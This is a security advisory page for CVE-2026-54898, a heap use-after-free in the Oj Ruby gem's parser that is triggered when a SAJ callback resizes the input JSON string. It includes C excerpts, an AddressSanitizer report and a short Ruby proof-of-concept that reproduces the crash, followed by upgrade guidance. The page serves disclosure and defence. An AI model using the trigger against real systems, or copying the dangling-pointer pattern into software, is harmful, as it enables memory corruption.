CVE-2026-54898: Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation

Published Jun 19, 2026
·
Updated

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte pointer into the Ruby string's internal buffer. If a callback (e.g. hashstart) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

- Software: oj gem - Affected: all versions with ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parserparse → parse:

c static VALUE parserparse(VALUE self, VALUE json) { const byte ptr = (const byte )StringValuePtr(json); // raw pointer into Ruby string // ... parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer }

c // parser.c:607 static void parse(ojParser p, const byte json) { const byte b = json; // ... for (; '\0' != b; b++) { // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report: ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parserparse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 rubysizedxfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)

Reproduce

ruby require 'oj'

class Mutator def initialize(json) = (@json = json; @done = false)

def hashstart(key) return if @done; @done = true @json.replace('x' 1000000) # triggers String realloc, frees original buffer end

def hashend(key); end def arraystart(key); end def arrayend(key); end def addvalue(value, key); end end

json = '{"a":1,"pad":"' + ('A' 1000) + '","z":2}' parser = Oj::Parser.new(:saj) parser.handler = Mutator.new(json) parser.parse(json)

Other sources

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte pointer into the Ruby string's internal buffer. If a callback (e.g. hashstart) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.

MITRE

Affected Software

2 affected componentsFixes available
rubygems/oj<3.17.2
3.17.3
IBM Aspera Enterprise WebApps<=1.0.0 - 1.0.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/oj to a version that resolves this vulnerability.

    Fixed in 3.17.3
  2. Upgrade

    Upgrade oj gem to a version that resolves this vulnerability.

    Fixed in 3.17.2

Event History

Jun 19, 2026
Advisory Published
via GitHub·07:36 PM
Data Sourced
via GitHub·07:36 PM
DescriptionWeaknessAffected Software
Jun 30, 2026
CVE Published
via MITRE·11:24 PM
Data Sourced
via MITRE·11:24 PM
DescriptionWeakness
Jul 1, 2026
Data Sourced
via NVD·12:16 AM
DescriptionSeverityWeakness
Sep 8, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-54898?

CVE-2026-54898 has a risk score of 53, indicating a moderate severity.

2

What software is affected by CVE-2026-54898?

CVE-2026-54898 affects the Ruby gem 'oj'.

3

How do I fix CVE-2026-54898?

To fix CVE-2026-54898, update the 'oj' gem to the latest version where the vulnerability has been patched.

4

What type of vulnerability is CVE-2026-54898?

CVE-2026-54898 is classified as a use-after-free vulnerability.

5

What impact does CVE-2026-54898 have during JSON parsing?

CVE-2026-54898 can lead to potential security issues when a callback mutates the input JSON string during parsing.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203